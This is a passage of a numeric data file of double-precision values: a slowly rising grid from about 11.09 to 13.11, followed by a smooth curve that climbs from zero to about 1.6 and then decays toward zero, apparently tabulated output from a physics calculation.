0.1109129802968301E+02  0.1110044769153667E+02  0.1110957535654645E+02\n  0.1111868108384563E+02  0.1112776493235422E+02  0.1113682696078008E+02  0.1114586722761977E+02  0.1115488579115973E+02\n  0.1116388270947705E+02  0.1117285804044050E+02  0.1118181184171143E+02  0.1119074417074485E+02  0.1119965508479030E+02\n  0.1120854464089276E+02  0.1121741289589355E+02  0.1122625990643143E+02  0.1123508572894327E+02  0.1124389041966516E+02\n  0.1125267403463331E+02  0.1126143662968485E+02  0.1127017826045877E+02  0.1127889898239682E+02  0.1128759885074458E+02\n  0.1129627792055189E+02  0.1130493624667420E+02  0.1131357388377320E+02  0.1132219088631773E+02  0.1133078730858470E+02\n  0.1133936320465983E+02  0.1134791862843856E+02  0.1135645363362708E+02  0.1136496827374269E+02  0.1137346260211521E+02\n  0.1138193667188745E+02  0.1139039053601605E+02  0.1139882424727257E+02  0.1140723785824395E+02  0.1141563142133352E+02\n  0.1142400498876172E+02  0.1143235861256712E+02  0.1144069234460682E+02  0.1144900623655768E+02  0.1145730033991675E+02\n  0.1146557470600226E+02  0.1147382938595421E+02  0.1148206443073531E+02  0.1149027989113191E+02  0.1149847581775414E+02\n  0.1150665226103736E+02  0.1151480927124249E+02  0.1152294689845698E+02  0.1153106519259537E+02  0.1153916420340013E+02\n  0.1154724398044246E+02  0.1155530457312277E+02  0.1156334603067165E+02  0.1157136840215052E+02  0.1157937173645239E+02\n  0.1158735608230234E+02  0.1159532148825857E+02  0.1160326800271278E+02  0.1161119567389111E+02  0.1161910454985465E+02\n  0.1162699467850026E+02  0.1163486610756115E+02  0.1164271888460782E+02  0.1165055305704804E+02  0.1165836867212856E+02\n  0.1166616577693494E+02  0.1167394441839248E+02  0.1168170464326700E+02  0.1168944649816522E+02  0.1169717002953568E+02\n  0.1170487528366932E+02  0.1171256230670009E+02  0.1172023114460535E+02  0.1172788184320704E+02  0.1173551444817181E+02\n  0.1174312900501185E+02  0.1175072555908556E+02  0.1175830415559807E+02  0.1176586483960187E+02  0.1177340765599744E+02\n  0.1178093264953387E+02  0.1178843986480948E+02  0.1179592934627236E+02  0.1180340113822094E+02  0.1181085528480470E+02\n  0.1181829166269570E+02  0.1182570985953448E+02  0.1183311348562248E+02  0.1184049703658763E+02  0.1184786329267578E+02\n  0.1185521227437533E+02  0.1186254400205932E+02  0.1186985849598701E+02  0.1187715577630568E+02  0.1188443611784194E+02\n  0.1189169878246886E+02  0.1189894457481569E+02  0.1190617328225404E+02  0.1191338494670332E+02  0.1192057960986771E+02\n  0.1192775731323726E+02  0.1193491809808902E+02  0.1194206200548831E+02  0.1194918907628982E+02  0.1195629935113887E+02\n  0.1196339287047247E+02  0.1197046967452045E+02  0.1197752980330694E+02  0.1198457329665118E+02  0.1199160019416887E+02\n  0.1199861053527344E+02  0.1200560435917693E+02  0.1201258170489155E+02  0.1201954261123063E+02  0.1202648711680959E+02\n  0.1203341526004761E+02  0.1204032707916849E+02  0.1204722261220184E+02  0.1205410189698429E+02  0.1206096497116060E+02\n  0.1206781187218495E+02  0.1207464559802799E+02  0.1208146027002577E+02  0.1208825888009797E+02  0.1209504146494779E+02\n  0.1210180806109399E+02  0.1210855896537541E+02  0.1211529410378007E+02  0.1212201340030601E+02  0.1212871689296240E+02\n  0.1213540461963384E+02  0.1214207661808061E+02  0.1214873292593939E+02  0.1215537358072345E+02  0.1216199861982349E+02\n  0.1216860808050769E+02  0.1217520199992239E+02  0.1218178041509279E+02  0.1218834336292295E+02  0.1219489088019657E+02\n  0.1220142300357730E+02  0.1220793976960926E+02  0.1221444121471769E+02  0.1222092737520902E+02  0.1222739828727144E+02\n  0.1223385398697564E+02  0.1224029451027501E+02  0.1224671989300593E+02  0.1225313017088853E+02  0.1225952537952718E+02\n  0.1226590555441035E+02  0.1227227073091185E+02  0.1227862094429078E+02  0.1228495622969180E+02  0.1229127662214604E+02\n  0.1229758215657148E+02  0.1230387286777276E+02  0.1231014879044237E+02  0.1231640995916075E+02  0.1232265640839672E+02\n  0.1232888817250763E+02  0.1233510528574038E+02  0.1234130778223132E+02  0.1234749569600697E+02  0.1235366906098424E+02\n  0.1235982791097082E+02  0.1236597227966591E+02  0.1237210220066028E+02  0.1237821770743661E+02  0.1238431883337027E+02\n  0.1239040561172962E+02  0.1239647807567605E+02  0.1240253625826483E+02  0.1240858019244517E+02  0.1241460991106090E+02\n  0.1242062544685069E+02  0.1242662683244833E+02  0.1243261410038329E+02  0.1243858728308130E+02  0.1244454641286415E+02\n  0.1245049152195065E+02  0.1245642264245671E+02  0.1246233980639583E+02  0.1246824304567928E+02  0.1247413239211681E+02\n  0.1248000787741680E+02  0.1248586953318652E+02  0.1249171739093289E+02  0.1249755148206230E+02  0.1250337183788155E+02\n  0.1250917848959775E+02  0.1251497146831911E+02  0.1252075080505461E+02  0.1252651653071523E+02  0.1253226867611377E+02\n  0.1253800727196519E+02  0.1254373234888717E+02  0.1254944393740030E+02  0.1255514206792864E+02  0.1256082677079984E+02\n  0.1256649807624557E+02  0.1257215601440174E+02  0.1257780061530919E+02  0.1258343190891375E+02  0.1258904992506636E+02\n  0.1259465469352414E+02  0.1260024624394981E+02  0.1260582460591276E+02  0.1261138980888892E+02  0.1261694188226133E+02\n  0.1262248085532045E+02  0.1262800675726433E+02  0.1263351961719898E+02  0.1263901946413904E+02  0.1264450285631671E+02\n  0.1264997675865174E+02  0.1265543773449255E+02  0.1266088581249014E+02  0.1266632102120516E+02  0.1267174338910899E+02\n  0.1267715294458313E+02  0.1268254971592008E+02  0.1268793373132342E+02  0.1269330501890832E+02  0.1269866360670164E+02\n  0.1270400952264229E+02  0.1270934279458158E+02  0.1271466345028335E+02  0.1271997151742474E+02  0.1272526702359572E+02\n  0.1273054999630008E+02  0.1273582044112639E+02  0.1274107829127974E+02  0.1274632368547512E+02  0.1275155665077283E+02\n  0.1275677721414707E+02  0.1276198540248610E+02  0.1276718124259236E+02  0.1277236476118314E+02  0.1277753598489035E+02\n  0.1278269494026117E+02  0.1278784165375827E+02  0.1279297615176009E+02  0.1279809846056095E+02  0.1280320860637152E+02\n  0.1280830661531907E+02  0.1281339251344765E+02  0.1281846632671840E+02  0.1282352808100990E+02  0.1282857780211833E+02\n  0.1283361551575781E+02  0.1283864124756066E+02  0.1284365502307763E+02  0.1284865686777834E+02  0.1285364680705105E+02\n  0.1285862486620364E+02  0.1286359107046338E+02  0.1286854544497717E+02  0.1287348801481206E+02  0.1287841880495558E+02\n  0.1288333784031538E+02  0.1288824514572031E+02  0.1289314074592015E+02  0.1289802466558600E+02  0.1290289692931037E+02\n  0.1290775756160805E+02  0.1291260658691528E+02  0.1291744402959128E+02  0.1292226991391726E+02  0.1292708426409754E+02\n  0.1293188710425972E+02  0.1293667845845432E+02  0.1294145835065556E+02  0.1294622680476155E+02  0.1295098384459444E+02\n  0.1295572949390062E+02  0.1296046377635092E+02  0.1296518671554123E+02  0.1296989833499209E+02  0.1297459865814951E+02\n  0.1297928770838488E+02  0.1298396550899552E+02  0.1298863208320455E+02  0.1299328745416105E+02  0.1299793164494091E+02\n  0.1300256467854653E+02  0.1300718657790715E+02  0.1301179736587904E+02  0.1301639706524610E+02  0.1302098569871943E+02\n  0.1302556328893826E+02  0.1303012985846953E+02  0.1303468542980876E+02  0.1303923002537965E+02  0.1304376366753469E+02\n  0.1304828637855533E+02  0.1305279818065219E+02  0.1305729909596507E+02  0.1306178914656352E+02  0.1306626835444681E+02\n  0.1307073674154426E+02  0.1307519432971517E+02  0.1307964114074970E+02  0.1308407719636832E+02  0.1308850251822266E+02\n  0.1309291712789514E+02  0.1309732104689959E+02  0.1310172496590404E+02  0.1310612888490850E+02  0.1311053280391295E+02\n  0.0000000000000000E+00  0.2350503764662797E-10  0.1452741565148498E-08  0.1598024605657181E-07  0.8670887247915710E-07\n  0.3194268290355064E-06  0.9210999532108705E-06  0.2243032243257230E-05  0.4826533736759059E-05  0.9449280963997414E-05\n  0.1717086310497067E-04  0.2937628005930804E-04  0.4781640004850213E-04  0.7464459701436190E-04  0.1124489746320072E-03\n  0.1642797466831127E-03  0.2336714851009560E-03  0.3246600692852489E-03  0.4417942752036344E-03  0.5901420321021944E-03\n  0.7752914499470295E-03  0.1003346783485080E-02  0.1280919550391384E-02  0.1615115062592291E-02  0.2013514662642524E-02\n  0.2484153982012019E-02  0.3035497556237696E-02  0.3676410143962806E-02  0.4416125103690986E-02  0.5264210184320288E-02\n  0.6230531083824742E-02  0.7325213125386473E-02  0.8558601392363368E-02  0.9941219653166928E-02  0.1148372839483666E-01\n  0.1319688227020127E-01  0.1509148724834461E-01  0.1717835774193908E-01  0.1946827396813322E-01  0.2197193978231332E-01\n  0.2469994120640449E-01  0.2766270585561205E-01  0.3087046344978465E-01  0.3433320757803945E-01  0.3806065886804223E-01\n  0.4206222969448004E-01  0.4634699054488188E-01  0.5092363814510472E-01  0.5580046543156136E-01  0.6098533344267084E-01\n  0.6648564518809444E-01  0.7230832154110638E-01  0.7845977918695805E-01  0.8494591064833676E-01  0.9177206639800155E-01\n  0.9894303905839608E-01  0.1064630496784886E+00  0.1143357360692630E+00  0.1225641431711653E+00  0.1311507154193881E+00\n  0.1400972910661206E+00  0.1494050984128002E+00  0.1590747538999337E+00  0.1691062619971989E+00  0.1794990168322592E+00\n  0.1902518054930074E+00  0.2013628129347618E+00  0.2128296284212524E+00  0.2246492534260200E+00  0.2368181109190946E+00\n  0.2493320559624748E+00  0.2621863875369867E+00  0.2753758615225286E+00  0.2888947047534727E+00  0.3027366300710904E+00\n  0.3168948522952475E+00  0.3313621050382702E+00  0.3461306582847914E+00  0.3611923366625136E+00  0.3765385383301647E+00\n  0.3921602544104397E+00  0.4080480888974157E+00  0.4241922789697600E+00  0.4405827156430124E+00  0.4572089646963136E+00\n  0.4740602878111100E+00  0.4911256638616449E+00  0.5083938102993529E+00  0.5258532045756759E+00  0.5434921055502246E+00\n  0.5612985748336912E+00  0.5792604980173683E+00  0.5973656057436424E+00  0.6156014945742982E+00  0.6339556476159732E+00\n  0.6524154548645443E+00  0.6709682332326954E+00  0.6896012462273114E+00  0.7083017232457365E+00  0.7270568784622643E+00\n  0.7458539292785299E+00  0.7646801143137046E+00  0.7835227109126022E+00  0.8023690521519213E+00  0.8212065433269309E+00\n  0.8400226779029110E+00  0.8588050529176166E+00  0.8775413838228915E+00  0.8962195187553934E+00  0.9148274522281129E+00\n  0.9333533382360560E+00  0.9517855027710543E+00  0.9701124557421923E+00  0.9883229022998167E+00  0.1006405753562465E+01\n  0.1024350136747383E+01  0.1042145404706545E+01  0.1059781144871260E+01  0.1077247187609600E+01  0.1094533614001869E+01\n  0.1111630763040373E+01  0.1128529238260637E+01  0.1145219913812065E+01  0.1161693939976847E+01  0.1177942748146633E+01\n  0.1193958055267189E+01  0.1209731867761823E+01  0.1225256484945006E+01  0.1240524501938026E+01  0.1255528812099049E+01\n  0.1270262608980346E+01  0.1284719387825761E+01  0.1298892946621899E+01  0.1312777386716678E+01  0.1326367113019209E+01\n  0.1339656833795096E+01  0.1352641560071424E+01  0.1365316604665792E+01  0.1377677580853886E+01  0.1389720400690019E+01\n  0.1401441272995214E+01  0.1412836701027270E+01  0.1423903479847286E+01  0.1434638693397013E+01  0.1445039711301291E+01\n  0.1455104185409776E+01  0.1464830046091919E+01  0.1474215498299109E+01  0.1483259017407622E+01  0.1491959344855860E+01\n  0.1500315483589179E+01  0.1508326693325296E+01  0.1515992485653126E+01  0.1523312618977543E+01  0.1530287093322397E+01\n  0.1536916145003750E+01  0.1543200241185077E+01  0.1549140074325868E+01  0.1554736556534737E+01  0.1559990813837915E+01\n  0.1564904180373601E+01  0.1569478192522416E+01  0.1573714582983838E+01  0.1577615274808202E+01  0.1581182375393509E+01\n  0.1584418170455991E+01  0.1587325117983052E+01  0.1589905842176854E+01  0.1592163127396545E+01  0.1594099912106772E+01\n  0.1595719282839819E+01  0.1597024468178396E+01  0.1598018832765788E+01  0.1598705871349761E+01  0.1599089202866354E+01\n  0.1599172564569312E+01  0.1598959806210704E+01  0.1598454884277914E+01  0.1597661856291940E+01  0.1596584875171653E+01\n  0.1595228183668366E+01  0.1593596108874842E+01  0.1591693056812536E+01  0.1589523507100701E+01  0.1587092007710641E+01\n  0.1584403169808198E+01  0.1581461662687349E+01  0.1578272208797470E+01  0.1574839578866685E+01  0.1571168587123450E+01\n  0.1567264086618331E+01  0.1563130964647693E+01  0.1558774138280876E+01  0.1554198549992189E+01  0.1549409163398889E+01\n  0.1544410959106127E+01  0.1539208930659677E+01  0.1533808080607080E+01  0.1528213416667707E+01  0.1522429948012042E+01\n  0.1516462681650386E+01  0.1510316618931021E+01  0.1503996752147732E+01  0.1497508061256460E+01  0.1490855510700755E+01\n  0.1484044046345540E+01  0.1477078592518635E+01  0.1469964049159342E+01  0.1462705289073315E+01  0.1455307155292826E+01\n  0.1447774458541496E+01  0.1440111974802394E+01  0.1432324442988392E+01  0.1424416562713602E+01  0.1416392992164560E+01\n  0.1408258346069873E+01  0.1400017193766902E+01  0.1391674057364033E+01  0.1383233409997026E+01  0.1374699674177898E+01\n  0.1366077220234727E+01  0.1357370364840755E+01  0.1348583369631108E+01  0.1339720439905439E+01  0.1330785723414737E+01\n  0.1321783309230582E+01  0.1312717226695031E+01  0.1303591444449351E+01  0.1294409869539786E+01  0.1285176346598528E+01\n  0.1275894657098056E+01  0.1266568518676988E+01  0.1257201584535619E+01  0.1247797442899263E+01  0.1238359616547584E+01\n  0.1228891562408019E+01  0.1219396671211496E+01  0.1209878267208578E+01  0.1200339607944202E+01  0.1190783884089205E+01\n  0.1181214219326823E+01  0.1171633670292365E+01  0.1162045226564264E+01  0.1152451810704780E+01  0.1142856278348570E+01\n  0.1133261418337408E+01  0.1123669952899346E+01  0.1114084537870646E+01  0.1104507762958775E+01  0.1094942152044870E+01\n  0.1085390163524009E+01  0.1075854190681740E+01  0.1066336562105254E+01  0.1056839542127690E+01  0.1047365331304049E+01\n  0.1037916066917227E+01  0.1028493823512701E+01  0.1019100613460447E+01  0.1009738387542688E+01  0.1000409035566070E+01\n  0.9911143869969610E+00  0.9818562116185301E+00  0.9726362202083267E+00  0.9634560652350970E+00  0.9543173415736288E+00\n  0.9452215872364120E+00  0.9361702841209427E+00  0.9271648587715566E+00  0.9182066831546644E+00  0.9092970754463097E+00\n  0.9004373008310244E+00  0.8916285723109384E+00  0.8828720515241635E+00  0.8741688495714935E+00  0.8655200278504954E+00\n  0.8569265988960664E+00  0.8483895272266132E+00  0.8399097301949807E+00  0.8314880788433289E+00  0.8231253987611650E+00\n  0.8148224709457564E+00  0.8065800326641964E+00  0.7983987783164219E+00  0.7902793602984723E+00  0.7822223898653531E+00\n  0.7742284379928720E+00  0.7662980362378170E+00  0.7584316775959118E+00  0.7506298173569868E+00  0.7428928739568187E+00\n  0.7352212298251275E+00  0.7276152322292518E+00  0.7200751941130188E+00  0.7126013949303633E+00  0.7051940814732806E+00\n  0.6978534686936988E+00  0.6905797405188852E+00  0.6833730506600221E+00  0.6762335234136188E+00  0.6691612544554096E+00\n  0.6621563116264519E+00  0.6552187357111161E+00  0.6483485412067125E+00  0.6415457170844840E+00  0.6348102275417313E+00\n  0.6281420127448483E+00  0.6215409895630656E+00  0.6150070522926947E+00  0.6085400733717113E+00  0.6021399040845107E+00\n  0.5958063752566826E+00  0.5895392979396676E+00  0.5833384640851877E+00  0.5772036472093250E+00  0.5711346030461549E+00\n  0.5651310701908592E+00  0.5591927707322315E+00  0.5533194108745153E+00  0.5475106815485299E+00  0.5417662590120353E+00\n  0.5360858054393003E+00  0.5304689694998603E+00  0.5249153869264497E+00  0.5194246810720941E+00  0.5139964634563777E+00\n  0.5086303343008993E+00  0.5033258830539155E+00  0.4980826889042317E+00  0.4929003212843441E+00  0.4877783403628898E+00\n  0.4827162975264554E+00  0.4777137358507827E+00  0.4727701905614446E+00  0.4678851894840552E+00  0.4630582534840750E+00\n  0.4582888968962981E+00  0.4535766279440972E+00  0.4489209491485098E+00  0.4443213577272558E+00  0.4397773459837845E+00\n  0.4352884016864413E+00  0.4308540084378585E+00  0.4264736460346724E+00  0.4221467908176804E+00  0.4178729160125361E+00\n  0.4136514920611062E+00  0.4094819869436024E+00  0.4053638664915989E+00  0.4012965946920645E+00  0.3972796339825281E+00\n  0.3933124455374964E+00  0.3893944895462572E+00  0.3855252254821869E+00  0.3817041123636960E+00  0.3779306090069412E+00\n  0.3742041742704262E+00  0.3705242672916375E+00  0.3668903477158274E+00  0.3633018759170965E+00  0.3597583132118892E+00\n  0.3562591220650529E+00  0.3528037662885790E+00  0.3493917112331675E+00  0.3460224239727477E+00  0.3426953734820877E+00\n  0.3394100308076194E+00  0.3361658692316251E+00  0.3329623644299036E+00  0.3297989946230563E+00  0.3266752407215223E+00\n  0.3235905864644950E+00  0.3205445185528428E+00  0.3175365267761750E+00  0.3145661041341699E+00  0.3116327469522978E+00\n  0.3087359549920661E+00  0.3058752315559112E+00  0.3030500835868565E+00  0.3002600217630693E+00  0.2975045605874296E+00\n  0.2947832184722352E+00  0.2920955178191660E+00  0.2894409850946181E+00  0.2868191509005325E+00  0.2842295500408273E+00\n  0.2816717215835535E+00  0.2791452089188812E+00  0.2766495598130334E+00  0.2741843264582723E+00  0.2717490655190478E+00\n  0.2693433381744174E+00  0.2669667101568407E+00  0.2646187517874495E+00  0.2622990380079024E+00  0.2600071484089175E+00\n  0.2577426672555859E+00  0.2555051835095635E+00  0.2532942908482358E+00  0.2511095876809479E+00  0.2489506771623981E+00\n  0.2468171672032794E+00  0.2447086704782614E+00  0.2426248044314016E+00  0.2405651912790701E+00  0.2385294580104723E+00\n  0.2365172363858518E+00  0.2345281629324596E+00  0.2325618789383613E+00  0.2306180304441682E+00  0.2286962682327625E+00\n  0.2267962478170977E+00  0.2249176294261405E+00  0.2230600779890333E+00  0.2212232631175415E+00  0.2194068590868594E+00\n  0.2176105448148379E+00  0.2158340038397009E+00  0.2140769242963177E+00  0.2123389988910903E+00  0.2106199248755169E+00\n  0.2089194040184958E+00  0.2072371425774233E+00  0.2055728512681448E+00  0.2039262452338156E+00  0.2022970440127238E+00\n  0.2006849715051299E+00  0.1990897559391716E+00  0.1975111298358903E+00  0.1959488299734197E+00  0.1944025973503926E+00\n  0.1928721771486053E+00  0.1913573186949898E+00  0.1898577754229339E+00  0.1883733048329959E+00  0.1869036684530497E+00\n  0.1854486317979078E+00  0.1840079643284546E+00  0.1825814394103312E+00  0.1811688342722097E+00  0.1797699299636905E+00\n  0.1783845113128567E+00  0.1770123668835237E+00  0.1756532889322104E+00  0.1743070733648679E+00  0.1729735196933954E+00\n  0.1716524309919727E+00  0.1703436138532354E+00  0.1690468783443259E+00  0.1677620379628421E+00  0.1664889095927099E+00\n  0.1652273134600088E+00  0.1639770730887696E+00  0.1627380152567701E+00  0.1615099699513493E+00  0.1602927703252654E+00\n  0.1590862526526123E+00  0.1578902562848216E+00  0.1567046236067624E+00  0.1555291999929633E+00  0.1543638337639696E+00\n  0.1532083761428563E+00  0.1520626812119101E+00  0.1509266058694993E+00  0.1498000097871428E+00  0.1486827553667961E+00\n  0.1475747076983654E+00  0.1464757345174640E+00  0.1453857061634240E+00  0.1443044955375730E+00  0.1432319780617891E+00\n  0.1421680316373446E+00  0.1411125366040483E+00  0.1400653756996955E+00  0.1390264340198362E+00  0.1379955989778688E+00\n  0.1369727602654673E+00  0.1359578098133525E+00  0.1349506417524104E+00  0.1339511523751675E+00  0.1329592400976282E+00\n  0.1319748054214808E+00  0.1309977508966756E+00  0.1300279810843844E+00  0.1290654025203415E+00  0.1281099236785748E+00\n  0.1271614549355259E+00  0.1262199085345698E+00  0.1252851985509296E+00  0.1243572408569959E+00  0.1234359530880505E+00\n  0.1225212546083961E+00  0.1216130664778956E+00  0.1207113114189237E+00  0.1198159137837281E+00  0.1189267995222068E+00\n  0.1180438961500998E+00  0.1171671327175942E+00  0.1162964397783483E+00  0.1154317493589289E+00  0.1145729949286663E+00\n  0.1137201113699259E+00  0.1128730349487938E+00  0.1120317032861783E+00  0.1111960553293266E+00  0.1103660313237529E+00\n  0.1095415727855802E+00  0.1087226224742927E+00  0.1079091243658972E+00  0.1071010236264925E+00  0.1062982665862460E+00\n  0.1055008007137718E+00  0.1047085745909144E+00  0.1039215378879289E+00  0.1031396413390617E+00  0.1023628367185243E+00\n  0.1015910768168619E+00  0.1008243154177097E+00  0.1000625072749386E+00  0.9930560809018427E-01  0.9855357449075822E-01\n  0.9780636400793745E-01  0.9706393505562982E-01  0.9632624690941162E-01  0.9559325968593356E-01  0.9486493432269383E-01\n  0.9414123255817297E-01  0.9342211691232764E-01  0.9270755066744044E-01  0.9199749784932158E-01  0.9129192320885827E-01\n  0.9059079220391024E-01  0.8989407098154546E-01  0.8920172636061409E-01  0.8851372581465511E-01  0.8783003745513447E-01\n  0.8715063001500779E-01  0.8647547283260665E-01  0.8580453583584287E-01  0.8513778952672810E-01  0.8447520496620298E-01\n  0.8381675375927530E-01  0.8316240804045885E-01  0.8251214045951316E-01  0.8186592416747822E-01  0.8122373280299988E-01\n  0.8058554047894315E-01  0.7995132176928955E-01  0.7932105169631275E-01  0.7869470571803144E-01  0.7807225971593283E-01\n  0.7745368998296467E-01  0.7683897321179178E-01  0.7622808648331135E-01  0.7562100725542614E-01  0.7501771335206921E-01\n  0.7441818295247755E-01  0.7382239458071076E-01  0.7323032709541087E-01  0.7264195967979867E-01  0.7205727183190487E-01\n  0.7147624335502985E-01  0.7089885434843042E-01  0.7032508519822850E-01  0.6975491656853922E-01  0.6918832939281314E-01\n  0.6862530486539103E-01  0.6806582443326617E-01  0.6750986978805110E-01  0.6695742285814540E-01  0.6640846580110123E-01\n  0.6586298099618196E-01  0.6532095103711212E-01  0.6478235872501446E-01  0.6424718706153042E-01  0.6371541924212147E-01\n  0.6318703864954746E-01  0.6266202884751911E-01  0.6214037357452046E-01  0.6162205673779986E-01  0.6110706240752450E-01\n  0.6059537481109686E-01  0.6008697832762830E-01  0.5958185748256901E-01  0.5907999694248869E-01  0.5858138151000727E-01\n  0.5808599611887154E-01  0.5759382582917469E-01  0.5710485582271634E-01  0.5661907139850073E-01  0.5613645796836825E-01\n  0.5565700105276017E-01  0.5518068627661225E-01  0.5470749936537444E-01  0.5423742614115482E-01  0.5377045251898517E-01\n  0.5330656450320408E-01  0.5284574818395761E-01  0.5238798973381230E-01  0.5193327540447994E-01  0.5148159152365149E-01\n  0.5103292449193595E-01  0.5058726077990446E-01  0.5014458692523559E-01  0.4970488952995948E-01  0.4926815525779950E-01\n  0.4883437083160901E-01  0.4840352303089959E-01  0.4797559868946120E-01  0.4755058469306943E-01  0.4712846797727979E-01\n  0.4670923552530574E-01  0.4629287436597942E-01  0.4587937157179187E-01  0.4546871425701189E-01  0.4506088957588125E-01\n  0.4465588472088415E-01  0.4425368692108926E-01  0.4385428344056262E-01  0.4345766157684944E-01  0.4306380865952269E-01\n  0.4267271204879778E-01  0.4228435913421057E-01  0.4189873733335742E-01  0.4151583409069603E-01  0.4113563687640473E-01\n  0.4075813318529899E-01  0.4038331053580396E-01  0.4001115646898086E-01  0.3964165854760631E-01  0.3927480435530239E-01\n  0.3891058149571723E-01  0.3854897759175296E-01  0.3818998028484157E-01  0.3783357723426573E-01  0.3747975611652434E-01\n  0.3712850462474054E-01  0.3677981046811218E-01  0.3643366137140177E-01  0.3609004507446641E-01  0.3574894933182556E-01\n  0.3541036191226535E-01  0.3507427059847887E-01  0.3474066318674111E-01  0.3440952748661676E-01  0.3408085132070126E-01\n  0.3375462252439219E-01  0.3343082894569176E-01  0.3310945844503797E-01  0.3279049889516447E-01  0.3247393818098731E-01\n  0.3215976419951815E-01  0.3184796485980308E-01  0.3153852808288556E-01  0.3123144180179359E-01  0.3092669396154863E-01\n  0.3062427251919747E-01  0.3032416544386438E-01  0.3002636071682391E-01  0.2973084633159302E-01  0.2943761029404197E-01\n  0.2914664062252300E-01  0.2885792534801624E-01  0.2857145251429220E-01  0.2828721017808998E-01  0.2800518640931039E-01\n  0.2772536929122391E-01  0.2744774692069189E-01  0.2717230740840119E-01  0.2689903887911129E-01  0.2662792947191326E-01\n  0.2635896734050006E-01  0.2609214065344760E-01  0.2582743759450599E-01  0.2556484636290022E-01  0.2530435517364029E-01\n  0.2504595225783962E-01  0.2478962586304191E-01  0.2453536425355501E-01  0.2428315571079263E-01  0.2403298853362201E-01\n  0.2378485103871834E-01  0.2353873156092471E-01  0.2329461845361733E-01  0.2305250008907579E-01  0.2281236485885801E-01\n  0.2257420117417889E-01  0.2233799746629312E-01  0.2210374218688127E-01  0.2187142380843883E-01  0.2164103082466791E-01\n  0.2141255175087165E-01  0.2118597512435002E-01  0.2096128950479806E-01  0.2073848347470486E-01  0.2051754563975416E-01\n  0.2029846462922549E-01  0.2008122909639606E-01  0.1986582771894261E-01  0.1965224919934375E-01  0.1944048226528158E-01\n  0.1923051567004319E-01  0.1902233819292149E-01  0.1881593863961467E-01  0.1861130584262509E-01  0.1840842866165638E-01\n  0.1820729598400922E-01  0.1800789672497538E-01  0.1781021982822961E-01  0.1761425426621972E-01  0.1741998904055397E-01\n  0.1722741318238660E-01  0.1703651575280017E-01  0.1684728584318532E-01  0.1665971257561794E-01  0.1647378510323276E-01\n  0.1628949261059417E-01  0.1610682431406360E-01  0.1592576946216329E-01  0.1574631733593689E-01  0.1556845724930608E-01\n  0.1539217854942354E-01  0.1521747061702217E-01  0.1504432286676001E-01  0.1487272474756165E-01  0.1470266574295493E-01\n  0.1453413537140393E-01  0.1436712318663735E-01  0.1420161877797267E-01  0.1403761177063589E-01  0.1387509182607664E-01\n  0.1371404864227910E-01  0.1355447195406791E-01  0.1339635153340976E-01  0.1323967718971016E-01  0.1308443877010535E-01\n  0.1293062615974990E-01  0.1277822928209887E-01  0.1262723809918580E-01  0.1247764261189538E-01  0.1232943286023138E-01\n  0.1218259892357987E-01  0.1203713092096717E-01  0.1189301901131328E-01  0.1175025339368011E-01  0.1160882430751480E-01\n  0.1146872203288826E-01  0.1132993689072848E-01  0.1119245924304928E-01  0.1105627949317382E-01  0.1092138808595317E-01\n  0.1078777550798031E-01  0.1065543228779879E-01  0.1052434899610681E-01  0.1039451624595617E-01  0.1026592469294671E-01\n  0.1013856503541558E-01  0.1001242801462182E-01  0.9887504414926333E-02  0.9763785063966725E-02  0.9641260832827890E-02\n  0.9519922636207538E-02  0.9399761432577210E-02  0.9280768224338752E-02  0.9162934057976000E-02  0.9046250024202221E-02\n  0.8930707258102832E-02  0.8816296939273676E-02  0.8703010291955119E-02  0.8590838585161509E-02  0.8479773132806546E-02\n  0.8369805293824308E-02  0.8260926472285997E-02  0.8153128117512804E-02  0.8046401724184376E-02  0.7940738832443478E-02\n  0.7836131027996606E-02  0.7732569942210602E-02  0.7630047252205678E-02  0.7528554680944333E-02  0.7428083997316856E-02\n  0.7328627016223001E-02  0.7230175598650108E-02  0.7132721651747814E-02  0.7036257128899153E-02  0.6940774029788536E-02\n  0.6846264400466227E-02  0.6752720333409701E-02  0.6660133967581916E-02  0.6568497488486375E-02  0.6477803128219479E-02\n  0.6388043165519663E-02  0.6299209925814047E-02  0.6211295781262146E-02  0.6124293150797016E-02  0.6038194500163917E-02\n  0.5952992341956366E-02  0.5868679235650055E-02  0.5785247787634298E-02  0.5702690651241371E-02  0.5621000526773856E-02\n  0.5540170161529816E-02  0.5460192349826328E-02  0.5381059933021076E-02  0.5302765799532243E-02  0.5225302884857029E-02\n  0.5148664171588471E-02  0.5072842689431090E-02  0.4997831515215207E-02  0.4923623772910095E-02  0.4850212633636272E-02\n  0.4777591315676702E-02  0.4705753084487369E-02  0.4634691252707118E-02  0.4564399180166933E-02  0.4494870273898941E-02\n  0.4426097988144961E-02  0.4358075824365064E-02  0.4290797331245945E-02  0.4224256104709619E-02  0.4158445787922197E-02\n  0.4093360071303100E-02  0.4028992692534918E-02  0.3965337436573796E-02  0.3902388135660784E-02  0.3840138669334105E-02\n  0.3778582964442547E-02  0.3717714995160261E-02  0.3657528783002880E-02  0.3598018396845369E-02  0.3539177952941635E-02\n  0.3481001614946027E-02  0.3423483593937147E-02  0.3366618148443765E-02  0.3310399584473416E-02  0.3254822255543565E-02\n  0.3199880562715664E-02  0.3145568954632342E-02  0.3091881927557716E-02  0.3038814025421337E-02  0.2986359839865667E-02\n  0.2934514010297470E-02  0.2883271223943334E-02  0.2832626215909399E-02  0.2782573769245732E-02  0.2733108715015361E-02\n  0.2684225932368273E-02  0.2635920348620736E-02  0.2588186939339922E-02  0.2541020728434335E-02  0.2494416788250113E-02\n  0.2448370239673485E-02  0.2402876252239763E-02  0.2357930044248895E-02  0.2313526882888074E-02  0.2269662084361452E-02\n  0.2226331014027437E-02  0.2183529086543647E-02  0.2141251766019886E-02  0.2099494566179429E-02  0.2058253050528833E-02\n  0.2017522832536582E-02  0.1977299575820819E-02  0.1937578994346416E-02  0.1898356852631761E-02  0.1859628965965341E-02\n  0.1821391200632576E-02  0.1783639474153031E-02  0.1746369755528287E-02  0.1709578065500809E-02  0.1673260476823867E-02\n  0.1637413114542927E-02  0.1602032156288575E-02  0.1567113832581223E-02  0.1532654427147850E-02  0.1498650277250755E-02\n  0.1465097774028671E-02  0.1431993362850165E-02  0.1399333543679485E-02  0.1367114871454921E-02  0.1335333956479567E-02\n  0.1303987464824598E-02  0.1273072118744786E-02  0.1242584697106271E-02  0.1212522035826240E-02  0.1182881028324278E-02\n  0.1153658625985074E-02  0.1124851838631879E-02  0.1096457735010339E-02  0.1068473443281882E-02  0.1040896151525936E-02\n  0.1013723108250083E-02  0.9869516229069582E-03  0.9605790664167954E-03  0.9346028716940452E-03  0.9090205341765010E-03\n  0.8838296123550832E-03  